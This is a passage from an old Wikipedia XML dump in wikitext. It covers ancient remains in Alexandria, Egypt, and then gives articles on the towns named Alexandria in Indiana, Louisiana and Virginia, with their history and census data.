The names of a few other public buildings on the mainland are known, but there is no information as to their position. None, however, are as famous as the building that stood on the eastern point of Pharos island. There, [[Lighthouse of Alexandria|The Great Lighthouse]], one of The [[Seven Wonders of the World]], reputed to be 138 meters (450 feet) high, was constructed. The first [[Ptolemy]] began it, and the second completed it, at a total cost of 800 [[talent (weight)|talent]]s. It took 12 years to complete and served as a [[prototype]] for all later [[lighthouse]]s in the world. The light was produced by a furnace at the top. It was built mostly with solid blocks of limestone. The Pharos lighthouse was unfortunately destroyed by an earthquake in the 14th century, making it the second longest living ancient wonder next to The [[Great Pyramid of Giza]].

A temple of [[Hephaestus]] also stood on Pharos at the head of the mole. In the [[Augustus|Augustan]] age the population of Alexandria was estimated at 300,000 free citizens, in addition to an immense number of women, freedmen, children and slaves. The total population has been estimated to range from 500,000 to over 1,000,000 people.

==Ancient remains==
[[Image:Egypt.Alexandria.PompeysPillar.01.jpg|thumb|150px|&quot;Pompey's Pillar&quot;]]
[[Image:DSC00293.JPG|thumb|260px|Qaitbay's Citadel, built in 1477 AD]]
Very little of the ancient city has survived into the present day. Much of the royal and civic quarter has sunk beneath the harbour due to [[earthquake]] subsidence, and much of the rest has been built upon in modern times. &quot;[[Pompey]]'s Pillar&quot; is the most well-known ancient monument still standing. It is located on Alexandria's ancient [[acropolis]] &amp;mdash; a modest hill located adjacent to the city's Arab [[cemetery]] &amp;mdash; and was originally part of a temple colonnade. Including its [[pedestal]] it is 30m (99 feet) high; the shaft is of polished red granite, roughly three meters in diameter at the base, tapering to two and a half meters at the top. The structure was plundered and demolished in the fourth century when a bishop decreed that paganism must be eradicated.  &quot;Pompey's Pillar&quot; is a misnomer perpetuated by the Crusaders, as it has nothing to do with Pompey, having been erected in [[293|AD 293]] for [[Diocletian]]. Beneath the acropolis itself are the subterranean remains of the Serapeum, where the mysteries of the god [[Serapis]] were enacted, and whose carved wall niches are believed to have provided overflow storage space for the ancient Library.

Alexandria's [[catacomb]]s, known as &quot;Kom al Sukkfa&quot; are a short distance southwest of the pillar, consist of a multi-level labyrinth, reached via a large spiral staircase, and featuring dozens of chambers adorned with sculpted pillars, statues, and other [[syncretism|syncretic]] Romano-Egyptian religious symbols, burial niches and [[sarcophagus|sarcophagi]], as well as a large Roman-style banquet room, where memorial meals were conducted by relatives of the deceased.

The most extensive ancient excavation currently being conducted in Alexandria is known as &quot;Kom al Dikka&quot;, and it has revealed the ancient city's well-preserved theatre, and the remains of its Roman-era baths.

==Antiquities==
Persistent efforts have been made to explore the antiquities of Alexandria. Encouragement and help have been given by the local [[Archaeology|Archaeological]] Society, and by many individuals, notably Greeks justly proud of a city which is one of the glories of their national history.

The past and present directors of the museum have been enabled from time to time to carry out systematic excavations when opportunity offered; [[D. G. Hogarth]] made tentative researches on behalf of the [[Egypt Exploration Fund]] and the Society for the Promotion of Hellenic Studies in [[1895]]; and a German expedition worked for two years ([[1898]]&amp;ndash;[[1899]]). But two difficulties face the would-be excavator in Alexandria.

[[Image:Caesarion BBC.jpg|left|thumb|Caesarion]] First, since the great and growing modern city stands right over the ancient one, it is almost impossible to find any considerable space in which to dig, except at enormous cost. Second, the general subsidence of the coast has sunk the lower-lying parts of the ancient town under water.  (This underwater section, containing much of the most interesting sections of the Hellenistic city, including the palace-quarter, is still being extensively investigated by the French underwater archaeologist [http://www.franckgoddio.org Franck Goddio] and his [[underwater archaeology|team]] [http://news.bbc.co.uk/1/hi/world/middle_east/203470.stm] and [http://newssearch.bbc.co.uk/cgi-bin/search/results.pl?q=Alexandria+underwater&amp;scope=newsukfs&amp;tab=news].  It raised a noted head of [[Ptolemy XV Caesarion|Caesarion]], left.  These are even being opened up to tourists, to some controversy [http://news.bbc.co.uk/1/hi/world/middle_east/940333.stm].)

Unfortunately the spaces still most open are the low grounds to northeast and southwest, where it is practically impossible to get below the Roman strata.

The most important results were those achieved by Dr G Botti, late director of the museum, in the neighbourhood of &quot;Pompey's Pillar,&quot; where there is a good deal of open ground. Here substructures of a large building or group of buildings have been exposed, which are perhaps part of the Serapeum. Hard by immense [[catacomb]]s and ''columbaria'' have been opened which may have been appendages of the temple. These contain one very remarkable vault with curious painted reliefs, now lighted by electricity and shown to visitors.

The objects found in these researches are in the museum, the most notable being a great basalt bull, probably once an object of cult in the Serapeum. Other catacombs and tombs have been opened in Kore es-Shugafa Hadra (Roman) and Ras et-Tin (painted).

The Germans found remains of a Ptolemaic colonnade and streets in the north-east of the city, but little else. Hogarth explored part of an immense brick structure under the mound of Kom ed-Dik, which may have been part of the Paneum, the Mausolea or a Roman fortress.

The making of the new foreshore led to the dredging up of remains of the Patriarchal Church; and the foundations of modern buildings are seldom laid without some objects of antiquity being discovered. The wealth underground is doubtless immense; but, despite all efforts, there is not much for antiquarians to see in Alexandria outside the museum and the neighbourhood of &quot;Pompey's Pillar.&quot; The native tomb-robbers, well-sinkers, dredgers and the like, however, come upon valuable objects from time to time, which find their way into private collections.

==See also==
{{commons|Alexandria|Alexandria}}
* [[Bibliotheca Alexandrina]]

[[Category:Archaeological sites in Egypt]]
[[Category:Cities in Egypt]]

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[[gl:Alexandría - الإسكندرية]]
[[id:Iskandariyah]]
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[[no:Alexandria]]
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[[zh:亞歷山大港]]</text>
    </revision>
  </page>
  <page>
    <title>Alexandria, Rumania</title>
    <id>3081</id>
    <revision>
      <id>15901449</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Alexandria, Romania]]
</text>
    </revision>
  </page>
  <page>
    <title>Alexandria, Indiana</title>
    <id>3082</id>
    <revision>
      <id>40587152</id>
      <timestamp>2006-02-21T17:24:24Z</timestamp>
      <contributor>
        <username>Violent x Muse</username>
        <id>712255</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Otheruses2|Alexandria}}

{{Infobox City-NoFlag |
official_name = City of Alexandria, Indiana |
nickname = Small Town USA |
image_flag =|
image_seal =|
image_map = US-IN-Alexandria.png |
map_caption = Location in the state of [[Indiana]] |
subdivision_type = [[List_of_Indiana_counties|County]] |
subdivision_name = [[Madison County, Indiana|Madison]]|
leader_title = [[Mayor]] |
leader_name = Steven Skaggs |
area_note =|
area_magnitude = 1 E6 |
area_total = 7.0 |
area_land = 7.0 |
area_water = 0.0 |
population_as_of = 2000 |
population_note =|
population_total = 6,260 |
population_density = 891.9 |
timezone = [[Eastern Standard Time|EST]] |
utc_offset = &amp;minus;5 |
timezone_DST = [[Eastern Standard Time|EST]] |
utc_offset_DST = &amp;minus;5 |
latitude = 40&amp;deg;15'47&amp;quot; N |
longitude = 85&amp;deg;40'35&amp;quot; W |
website =|
footnotes =|
}}

'''Alexandria''' is a city located in [[Madison County, Indiana]].  The population was 715 in [[1890]], 7,221 in [[1900]] out of which 1,002 were foreign-born, and 5,096 in [[1910]]. As of the [[2000]] census, the city had a total population of 6,260.  It is about 46 miles northeast of [[Indianapolis, Indiana|Indianapolis]].

Alexandria is served by the Cleveland, Cincinnati, Chicago &amp; St Louis, and the Lake Erie &amp; Western railways.  In the city are a Carnegie library and Beulah Park of 24 acres (97,000 m&amp;sup2;) &amp; home of the Madison County &quot;4H Fair&quot;.   The city is located in rich farm country, which produces [[maize|Indian corn]], [[oat]]s and [[wheat]]; and is in the [[Indiana]] [[natural gas]] region, to which fact it owes its growth as a manufacturing centre.  It was one of the principal seats of the [[glass]] 
industry in Indiana-- plate glass, lamp chimneys, mirrors, &amp;c., were once manufactured here.  The municipality owns and operates the water-works as well as the city schools.  Alexandria was founded in [[1836]] and was chartered as a city in [[1893]].

Alexandria is also known as &quot;Small Town USA&quot; and holds an annual festival to honor this heritage.
Famous residents include [[Bill and Gloria Gaither]], winners of four Grammys.

Alexandria is home to what is lauded by the [[Guinness Book of World Records]] as the world's largest ball of paint.

== Geography ==
Alexandria is located at 40&amp;deg;15'47&quot; North, 85&amp;deg;40'35&quot; West (40.263191, -85.676267){{GR|1}}.

According to the [[United States Census Bureau]], the city has a total area of 7.0 [[square kilometre|km&amp;sup2;]] (2.7 [[square mile|mi&amp;sup2;]]).  7.0 km&amp;sup2; (2.7 mi&amp;sup2;) of it is land and none of the area is covered with water.

== Demographics ==
As of the [[census]]{{GR|2}} of [[2000]], there are 6,260 people, 2,481 households, and 1,654 families residing in the city.  The [[population density]] is 891.9/km&amp;sup2; (2,308.6/mi&amp;sup2;).  There are 2,704 housing units at an average density of 385.2/km&amp;sup2; (997.2/mi&amp;sup2;).  The racial makeup of the city is 98.10% [[Race (U.S. Census)|White]], 0.46% [[Race (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.08% [[Race (U.S. Census)|Native American]], 0.11% [[Race (U.S. Census)|Asian]], 0.02% [[Race (U.S. Census)|Pacific Islander]], 0.43% from [[Race (U.S. Census)|other races]], and 0.80% from two or more races.  0.99% of the population are [[Hispanic American|Hispanic]] or [[Race (U.S. Census)|Latino]] of any race.

There are 2,481 households out of which 33.9% have children under the age of 18 living with them, 49.0% are [[Marriage|married couples]] living together, 12.7% have a female householder with no husband present, and 33.3% are non-families. 28.9% of all households are made up of individuals and 13.1% have someone living alone who is 65 years of age or older.  The average household size is 2.48 and the average family size is 3.04.

In the city the population is spread out with 27.8% under the age of 18, 8.9% from 18 to 24, 28.0% from 25 to 44, 19.5% from 45 to 64, and 15.9% who are 65 years of age or older.  The median age is 35 years.  For every 100 females there are 91.4 males.  For every 100 females age 18 and over, there are 87.4 males.

The median income for a household in the city is $35,359, and the median income for a family is $42,731. Males have a median income of $30,529 versus $23,384 for females. The [[per capita income]] for the city is $15,578.  7.0% of the population and 4.2% of families are below the [[poverty line]].  Out of the total population, 4.1% of those under the age of 18 and 15.0% of those 65 and older are living below the poverty line.

----
''Some text originally from an old encyclopedia''

== External links ==
{{Mapit-US-cityscale|40.263191|-85.676267}}
[http://ballofpaint.com/ Roadside Ambition]
[[Category:Cities in Indiana]]
[[Category:Madison County, Indiana]]

[[io:Alexandria, Indiana]]</text>
    </revision>
  </page>
  <page>
    <title>Alexandria, Louisiana</title>
    <id>3083</id>
    <revision>
      <id>41621613</id>
      <timestamp>2006-02-28T16:04:24Z</timestamp>
      <contributor>
        <username>Zoicon5</username>
        <id>15789</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Red River]] to [[Red River (Mississippi watershed)]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Otheruses2|Alexandria}}

[[Image:LAMap-doton-Alexandria.png|right|Location of Alexandria, Louisiana]]

'''Alexandria''' is a [[city]] in [[Louisiana]], [[United States|U.S.A.]]; it is the [[parish seat]] of [[Rapides Parish, Louisiana|Rapides Parish]], on the south bank of the [[Red River (Mississippi watershed)|Red River]] in almost the exact geographic center of the state. As of the [[2000]] census, the city had a total population of 46,342.  It is the largest municipality of [[Greater Alexandria]] (population 123,211) along with Pineville, Ball, Boyce, Woodworth, &amp; Lecompte. 

== Geography ==
Alexandria is located at {{coor dms|31|17|34|N|92|27|33|W|}}{{GR|1}}.

According to the [[United States Census Bureau]], the city has a total area of 69.9 [[square kilometre|km&amp;sup2;]] (27.0 [[square mile|mi&amp;sup2;]]). 68.4 km&amp;sup2; (26.4 mi&amp;sup2;) of it is land and 1.5 km&amp;sup2; (0.6 mi&amp;sup2;) of it is water. The total area is 2.15% water.

Alexandria is on a level plain in the center of the Louisiana [[Longleaf Pine]] [[forest]]s, in which pine is interspersed with various [[hardwood]]s. In the immediate vicinity of the city, [[cotton]], [[sugar]], [[alfalfa]] and garden vegetables are cultivated.

==History==
Originally home to a community supporting activities of the adjacent Spanish outpost of Post du Rapides, the area developed as a vibrant yet sometimes debaucherous assemblage of traders and merchants in the agricultural lands bordering the mostly unsettled areas to the north, and providing a link to from the south to the [[Old San Antonio Road|El Camino Real]] and then larger settlement of Natchitoches.  Alexander Fulton, a Pennsylvania businessman, received a land grant from [[Spain]] in [[1785]] and the first organized settlement was made at that time.  In [[1805]]. Fulton and business partner Thomas Harris Maddox laid out the town plan and named the town after Fulton's infant daughter who died around that time.  It was first incorporated as a town in [[1818]] and received a city charter in [[1882]]. 

===The Civil War===

Settled by northerners, home to General Sherman, and having little culturally in common with the majority of the American South, Alexandria found itself in a strange quandary during the American Civil War.  Regardless of political inclinations or loyalties to North or South, its location on the [[Red River (Mississippi watershed)|Red River]] made the city a major Strategic Target.  In the spring of [[1863]] a Union fleet under [[David D. Porter|Admiral David D. Porter]], operating on the Red River, co-operated with land forces under General N. P. Banks in pushing the [[Confederate States of America|Confederates]] westward. Alexandria was occupied on [[May 7]], 1863, but the troops were soon withdrawn for the [[Port Hudson]] attack. On [[March 19]], [[1864]] it was again occupied by the Union forces, who made it the point of concentration for another land and naval expedition against [[Kirby Smith|E. Kirby Smith]] and [[Shreveport, Louisiana|Shreveport]]. After the check of this expedition and its abandonment, Alexandria was again vacated on the 12th-13th of May, when the city was almost entirely burned, leaving only a few homes owned by friends of Union General Sherman and the city's Cathedral which had been defended from fire squads by a shotgun wielding bishop at its front door. The Union gunboats, which had passed up the river toward Shreveport at high water, were caught in its decline above the falls at Alexandria, but they were saved by a splendid piece of engineering (a [[dam]] at the falls), constructed by Lieutenant-Colonel [[Joseph Bailey]] ([[1827]]-[[1867]]), who for this service received the thanks of Congress and the [[brevet (military)|brevet]] of brigadier-general of volunteers.

== Demographics ==
As of the [[census]]{{GR|2}} of [[2000]], there are 46,342 people, 17,816 households, and 11,722 families residing in the city.  The [[population density]] is 677.5/km&amp;sup2; (1,754.6/mi&amp;sup2;).  There are 19,806 housing units at an average density of 289.6/km&amp;sup2; (749.9/mi&amp;sup2;).  The racial makeup of the city is 42.60% [[White (U.S. Census)|White]], 54.75% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.25% [[Native American (U.S. Census)|Native American]], 1.25% [[Asia]]n, 0.04% [[Pacific Islander (U.S. Census)|Pacific Islander]], 0.23% from [[Race (U.S. Census)|other races]], and 0.89% from two or more races.  0.98% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 17,816 households out of which 31.9% have children under the age of 18 living with them, 38.5% are [[Marriage|married couples]] living together, 23.2% have a female householder with no husband present, and 34.2% are non-families. 30.4% of all households are made up of individuals and 12.1% have someone living alone who is 65 years of age or older.  The average household size is 2.50 and the average family size is 3.13.

In the city the population is spread out with 28.1% under the age of 18, 9.2% from 18 to 24, 26.2% from 25 to 44, 21.4% from 45 to 64, and 15.1% who are 65 years of age or older.  The median age is 36 years.  For every 100 females there are 83.5 males.  For every 100 females age 18 and over, there are 77.7 males.

The median income for a household in the city is $26,097, and the median income for a family is $31,978. Males have a median income of $29,456 versus $20,154 for females. The [[per capita income]] for the city is $16,242.  27.4% of the population and 23.2% of families are below the [[poverty line]].  Out of the total population, 37.7% of those under the age of 18 and 18.5% of those 65 and older are living below the poverty line.

== Sports teams ==
Alexandria is the home of the [[Alexandria Aces]] [[minor league baseball]] team.

== External links ==
*[http://www.cityofalexandriala.com/home.asp City of Alexandria] : Government and community services.
{{Mapit-US-cityscale|31.292782|-92.459153}}

{{Louisiana}}

[[Category:Cities in Louisiana]]
[[Category:Rapides Parish, Louisiana]]
[[pt:Alexandria (Louisiana)]]</text>
    </revision>
  </page>
  <page>
    <title>Alexandria, Virginia</title>
    <id>3084</id>
    <revision>
      <id>41824684</id>
      <timestamp>2006-03-02T00:01:42Z</timestamp>
      <contributor>
        <username>Doctor Whom</username>
        <id>303715</id>
      </contributor>
      <minor />
      <comment>/* Buses */ updated link; there is now a separate article</comment>
      <text xml:space="preserve">{{Otheruses2|Alexandria}}
{{US City infobox|
 city = Alexandria |
 state = Virginia |
 motto = |
 nickname =  |
 flag = |
 seal = Alexandria VA seal.png|
 map = VAMap-doton-Alexandria.PNG |
 map size = 250 |
 map cap = Location in Virginia |
 founded = 1718 |
 incorporated =  |
 county = [[Independent city]] |
 mayor = William D. Euille  |
 area = 39.9 [[square kilometer|km²]] (15.4 [[square mile|mi²]]) |
 area land = 39.3 km² (15.2 mi²)|
 area water = 0.6 km² (0.2 mi²) |
 area percentage = 1.49%|
 census yr = 2000|
 city pop = 128,283|
 metro pop = |
 density = 3,262.9|
 time zone = Eastern|
 utc = 5|
 north_coord = 38.8162 |
 west_coord = 77.0713|
 web = www.alexandriava.gov|
|}}
'''Alexandria''' is an [[independent city]] in the [[U.S. state|Commonwealth]] of [[Virginia]].  As of the [[2000]] census, the city had a total population of 128,284.  It is located on the west bank of the [[Potomac River]], six miles south of downtown [[Washington, DC]]. 

Like the rest of [[Northern Virginia]], as well as southern Maryland, modern Alexandria has been shaped by its proximity to the nation's [[capital]]. It is largely populated by professionals working in the federal civil service, the U.S. military, or for one of the many private companies which contract to provide services to the federal government. The latter are known locally as [[beltway bandits]], after the [[Capital Beltway]], an interstate highway that circles Washington, D.C. One of Alexandria's largest employers is the U.S. [[United States Department of Defense|Department of Defense]]. Others include the [[Institute for Defense Analyses]] and the [[Center for Naval Analyses]].

Alexandria is home to numerous associations, charities, and non-profit organizations including the national headquarters of groups such as the Salvation Army.

The historic center of Alexandria is known as ''Old Town''. It is a major draw for tourists and those seeking nightlife.  Like Old Town, many Alexandria neighborhoods are high-income suburbs of Washington D.C. A 2005 assessed-value study of homes and condominiums found that over 40 percent were in the highest bracket, worth $556,000 or more.

Alexandria landmarks include the [[George Washington Masonic National Memorial]] (also known as the [[Mason]]ic Temple), Gadsby's Tavern, Christ Church, the Little Theatre, the Torpedo Factory, Market Square, Robert E. Lee's boyhood home, the John Carlyle House and the [[Virginia Theological Seminary]]. In 2005, Alexandria became one of the first cities of its size to offer free wireless internet access to some of its residents and visitors. 

Market Square in Old Town was once the site of the second-largest slave market in the United States.  Today it contains a large fountain and extensive landscaping, as well as a weekly farmers' market.

Alexandria's public high school, [[T.C. Williams High School|T.C. Williams]], and its legendary former football coach, Herman &quot;Mad Dog&quot; Boone, were featured in the 2000 motion picture, &quot;[[Remember the Titans]].&quot;

==History==
[[Image:Alexandria Map.gif|thumbnail|275px|right|Map of Alexandria, with [[Arlington, Virginia|Arlington]] to the north, [[Fairfax County, Virginia|Fairfax county]] to the south and west, and the [[Potomac River]] to the east]]
The City of Alexandria, first known as Belhaven, was named in honor of John Alexander, who in the last quarter of the [[17th century]] had bought the land on which the city now stands from Robert Howison; the first settlement here was made in [[1695]]. Alexandria was laid out in [[1749]] and was incorporated in [[1779]]. 

A portion of the City of Alexandria shares with all of today's [[Arlington County, Virginia|Arlington County]] the distinction of having been originally in Virginia, ceded to the U.S. Government to form the [[Washington, D.C.|District of Columbia]], and later reattached to Virginia by the federal government in [[1846]], when the District was reduced in size to exclude the portion south of the [[Potomac River]]. 

From [[1790]] until [[1846]], [[Alexandria County, D.C.|Alexandria County]] was a part of the District of Columbia; the City of Alexandria was re-chartered in [[1852]]. 

The City of Alexandria became independent of Alexandria County in [[1870]]. The remaining portion of Alexandria County changed its name to Arlington County in [[1920]], ending years of confusion.   

''See article on [[Arlington County, Virginia|Arlington, Virginia]] for more information.'' 

In [[1930]], Alexandria annexed the Town of Potomac.  That town, adjacent to [[Potomac Yard]], had been laid out beginning in the late [[19th century]] and incorporated in [[1908]].

===[[American Revolutionary War|Revolutionary War]]===
In [[1755]] General [[Edward Braddock]] organized his fatal expedition against [[Fort Duquesne]] at Alexandria, and here, in April of the same year, the governors of [[Virginia]], [[Massachusetts]], [[New York]], [[Pennsylvania]], and [[Maryland]] met to determine upon concerted action against the [[France|French]] in America.

In March [[1785]], commissioners from Virginia and Maryland met here to discuss the commercial relations of the two states, finishing their business at [[Mount Vernon]] on the 28th with an agreement for freedom of trade and freedom of navigation of the Potomac.  The Maryland legislature in ratifying this agreement on [[November 22]] proposed a conference among representatives from all the states to consider the adoption of definite commercial regulations.  This led to the calling of the Annapolis Convention of 1786, which in turn led to the calling of the Federal Convention of [[1787]].

In [[1790]], Alexandria was included in the area chosen by [[George Washington]] to become the District of Columbia. During the [[War of 1812]], Alexandria surrendered to a British fleet in [[1814]] without a fight. As agreed in the terms of surrender the British looted stores and warehouses of mainly flour, [[tobacco]], [[cotton]], [[wine]] and [[sugar]] [http://oha.ci.alexandria.va.us/archaeology/decades/ar-decades-1810.html].

===Return to Virginia===
Over time, a movement grew to separate from Alexandria from the District of Columbia. As competition grew with the port of [[Georgetown, Washington, D.C.|Georgetown]] and the [[Chesapeake and Ohio Canal]] favored the north side of the Potomac, the city's economy stagnated. In addition, many in Alexandra hoped to benefit from land sales and increased business from the federal government, but it had no need for the land south of the river. In addition, its residents had lost representation and the right to vote at any level of government. Alexandria was also an important port and market in the [[slave trade]] there was increasing talk of [[abolition]] of slavery in the national [[capital]], and the economy would suffer greatly if slavery was outlawed. At the same time, there was an active abolition movement in Virginia, and the state's [[Virginia General Assembly|General Assembly]] was closely divided on the question of slavery (resulting in the formation of [[West Virginia]] eighteen years later by the most anti-slavery counties) and Alexandria and Alexandria County would provide two new pro-slavery representatives. After a referendum, voters petitioned Congress and Virginia to return the area to Virginia. The area was retroceded to Virginia by on [[July 9]], [[1846]].[http://www.citymuseumdc.org/gettoknow/faq.asp]

===American Civil War===
At the opening of the [[American Civil War]], the city was occupied by Federal troops until the end of the war, making it the longest held city during the war.  Great excitement throughout the North was caused by the killing ([[May 24]], [[1861]]) of Colonel [[Elmer E. Ellsworth]] (1837-1861) by Captain James W. Jackson, a [[hotel]] proprietor, from whose building Ellsworth had removed a [[Confederate flag]].  After the establishment of the state of [[West Virginia]] in [[1863]], and until the close of the war, Alexandria was the seat of what was known as the &quot;Alexandria Government.&quot;

==Geography==
Alexandria is bounded on the east by the Potomac River, on the north and northwest by Arlington County, and on the south by [[Fairfax County, Virginia|Fairfax County]]. The western portions of the city were annexed from those two entities beginning in the [[1930s]]. 

According to the [[United States Census Bureau]], the city has a total area of 39.9 [[square kilometre|km&amp;sup2;]] (15.4 [[square mile|mi&amp;sup2;]]).  39.3 km&amp;sup2; (15.2 mi&amp;sup2;) of it is land and 0.6 km&amp;sup2; (0.2 mi&amp;sup2;) of it is water.  The total area is 1.49% water.

===Areas in Alexandria===
====Old Town====
[[Image:Old Town Alexandria.jpg|thumb|275px|right|Old Town Alexandria, viewed from the west, as seen from the observation deck of the [[George Washington Masonic National Memorial]].  [[King Street (Washington Metro)|King Street Station]] is in the foreground, the [[Potomac River]] is in the background]]
Old Town, in the eastern and southeastern areas of Alexandria and on the Potomac River, is the oldest section of the city, originally laid out in [[1749]], and is an historic district.  Old Town is chiefly known for its historic (and expensive) town houses, its art galleries and antique shops, and its restaurants and nightlife, although it is in reality a diverse area that includes substantial public housing.  Old Town is laid out on a [[grid plan]] of substantially square [[city block|blocks]].

====Del Ray====
The area to the northwest of Old Town, formerly in the separate town of [[Potomac, Virginia|Potomac]], is popularly known as Del Ray, although that name properly belongs to one of many communities (including Hume, Mount Ida, and Saint Elmo) in that area.  The housing stock is a mix of single-family houses, duplexes, townhouses, and apartment buildings.

The community has a more [[hipster]] and [[Bohemianism|boho]] flair than Old Town.  While diverse, it has experienced substantial [[gentrification]] since redevelopment began in [[Potomac Yard]] in the mid-[[1990s]].

Del Ray is laid out in a grid plan independent of that of Old Town, with long, narrow blocks.

====West End====
Alexandria's West End includes areas annexed in the [[1950s]].  It is the most typically suburban part of Alexandria, with a [[street hierarchy]] of winding roads and [[cul-de-sac|culs-de-sac]].  The section of [[Virginia State Highway 236|Duke Street]] in the West End is known for a high-density residential area known to locals as the &quot;Condo Canyon&quot; and for its concentration of both strip and enclosed [[shopping mall]]s.

===Addresses===
The [[address (geography)|addressing system]] in Alexandria is not uniform and reflects the consolidation of several originally separate communities into a single city.  In Old Town Alexandria, building numbers are assigned north and south from [[King Street, Alexandria, Virginia|King Street]] and west (only) from the Potomac River.  In the areas formerly in the Town of [[Potomac, Virginia|Potomac]], such as Del Ray and St. Elmo, building numbers are assigned east and west from Commonwealth Avenue and north (only) from King Street.  In the western parts of the city, building numbers are assigned north and south from [[Virginia State Highway 236|Duke Street]].

The [[ZIP code]] prefix 223 uniquely identifies the Alexandria postal area.  However, the Alexandria postal area extends well into [[Fairfax County, Virginia|Fairfax County]] and includes more addresses outside of the city than inside of it.  Delivery areas have ZIP codes 22301 through 22312, 22314, and 22315, with other ZIP codes in use for [[post office box]]es and large mailers.  ZIP codes are not assigned in any particular geographic order.

==Demographics==
The [[Census Bureau]] designates Alexandria as part of the [[Baltimore-Washington Metropolitan Area|Washington-Baltimore, DC-MD-VA-WV Consolidated Metropolitan Statistical Area (CMSA)]]. 

As of the [[census]]{{GR|2}} of [[2000]], there are 128,283 people, 61,889 households, and 27,726 families residing in the city.  The [[population density]] is 3,262.9/km&amp;sup2; (8,452.0/mi&amp;sup2;).  There are 64,251 housing units at an average density of 1,634.2/km&amp;sup2; (4,233.2/mi&amp;sup2;).  The racial makeup of the city is 59.79% [[White (U.S. Census)|White]], 22.54% [[African American]], 0.28% [[Native American (U.S. Census)|Native American]], 5.65% [[Asian (U.S. Census)|Asian]], 0.09% [[Pacific Islander (U.S. Census)|Pacific Islander]], 7.38% from [[Race (U.S. Census)|other races]], and 4.27% from two or more races.  14.72% of the population are [[Hispanic American|Hispanic]] or [[Latino]] of any race.

There are 61,889 households out of which 18.6% have children under the age of 18 living with them, 32.2% are [[Marriage|married couples]] living together, 9.2% have a female householder with no husband present, and 55.2% are non-families. 43.4% of all households are made up of individuals and 6.8% have someone living alone who is 65 years of age or older.  The average household size is 2.04 and the average family size is 2.87.

In the city the population is spread out with 16.8% under the age of 18, 9.2% from 18 to 24, 43.5% from 25 to 44, 21.5% from 45 to 64, and 9.0% who are 65 years of age or older.  The median age is 34 years.  For every 100 females there are 93.5 males.  For every 100 females age 18 and over, there are 91.7 males.

The median income for a household in the city is $56,054, and the median income for a family is $67,023. Males have a median income of $47,514 versus $41,254 for females. The [[per capita income]] for the city is $37,645.  8.9% of the population and 6.8% of families are below the [[poverty line]].  Out of the total population, 13.9% of those under the age of 18 and 9.0% of those 65 and older are living below the poverty line.

==Notable people from Alexandria==
*[[Douglas Hyde]] Famous opera singer.

==Transportation==
===Roads===
Alexandria is bisected north and south by [[Virginia State Highway 7]], known in most of the city as the major thoroughfare of [[King Street, Alexandria, Virginia|King Street]], and in its western portions as [[Leesburg Pike]].  [[Interstate Highway]] 95/495 (the [[Capital Beltway]]), including the [[Woodrow Wilson Bridge]] over the Potomac, approximately parallels the city's southern boundary with Fairfax County. [[Interstate 395 (District of Columbia-Virginia)|Interstate 395]] crosses through the western part of the city. Other major routes include [[U.S. Highway 1]], named [[Jefferson Davis Highway]] and Patrick and Henry Streets (after [[Patrick Henry]]), the [[George Washington Memorial Parkway]], and Duke Street ([[Virginia State Highway 236]]).

===Airports===
Alexandria is located just south of [[Ronald Reagan Washington National Airport]] in [[Arlington County, Virginia|Arlington County]]. As with other Washington suburbs, Alexandria is also served by [[Washington Dulles International Airport]] in [[Chantilly, Virginia]], and by [[Baltimore-Washington International Thurgood Marshall Airport]] near [[Baltimore, Maryland|Baltimore]], [[Maryland]].

===Rail===
[[Union Station (Alexandria)|Alexandria Union Station]], the city's historic [[train station]], is served by both [[Amtrak]] intercity and [[Virginia Railway Express]] [[regional rail]] service. The station is directly adjacent to the [[King Street (Washington Metro)|King Street]] [[Washington Metro|Metrorail]] station, at the convergence of the [[Blue Line (Washington Metro)|Blue]] and [[Yellow Line (Washington Metro)|Yellow Lines]]. Three other Metrorail stations lie within the city limits: [[Braddock Road (Washington Metro)|Braddock Road]], [[Van Dorn Street (Washington Metro)|Van Dorn Street]], and [[Eisenhower Avenue (Washington Metro)|Eisenhower Avenue]].

The traditional boundary between Old Town and the latterly annexed sections of the city followed the [[railroad|railway]] now owned by [[CSX Transportation]].

===Buses===
The city government operates its own [[mass transit]] system, the DASH bus, connecting points of interest with local transit hubs.  [[Metrobus (Washington, D.C.)|Metrobus]] also serves Alexandria.

==Twinning==
Alexandria maintains cultural, economic and educational ties with [[Dundee]], [[Scotland]].

==Recreation==
The city has a distributed [[park]] system with approximately 950 acres spread across 70 major parks and 30 [[recreation centers|recreation center]] of which [[Chinquapin]] is one the largest, offering facilities for swimming, tennis, [[racquetball]] and other sports.  The city also organizes several sports leagues throughout the year including volleyball, softball and basketball.  Alexandria is also unusual in that [[Cameron Run Regional Park]] includes a water park with a [[wave pool]] and [[water slide|water slides]], as well as a [[miniature golf]] course and [[batting cages|batting cage]] -- facilities usually operated by private companies.  A portion of the [[Mount Vernon Trail]], a popular bike path, runs through Old Town near the Potomac River.

==Education==
The city is served by the [[Alexandria City Public Schools]] system and by the Alexandria campus of [[Northern Virginia Community College]]. [[Virginia Polytechnic Institute and State University|Virginia Tech]]'s Alexandria Architecture Center is located on Prince Street in Old Town, offering graduate programs in Urban Affairs and Planning, Public and International Affairs, as well as Architecture.

==References==
*{{1911}}

==External links==
*[http://ci.alexandria.va.us/ City of Alexandria]
*[http://www.funside.com/ Alexandria, Virginia, Guide]
*[http://oha.ci.alexandria.va.us/ Historic Alexandria]
*[http://photos.historical-markers.org/va-alexandria Alexandria's Historical Markers]
*[http://oha.ci.alexandria.va.us/oha-main/haq/ ''Historic Alexandria Quarterly'']
{{Mapit-US-cityscale|38.816242|-77.071282}}

{{Virginia}}

[[Category:Alexandria, Virginia| ]]
[[Category:Cities in Virginia]]
[[Category:History of the District of Columbia]]
[[Category:United States National Historic Landmarks]]
[[Category:Washington, D.C. suburbs]]
[[Category:Cities on the Potomac River]]

[[de:Alexandria (Virginia)]]
[[nl:Alexandria (Virginia)]]
[[ja:アレクサンドリア (バージニア州)]]
[[pt:Alexandria (Virgínia)]]</text>
    </revision>
  </page>
  <page>
    <title>Alexandria Troas</title>
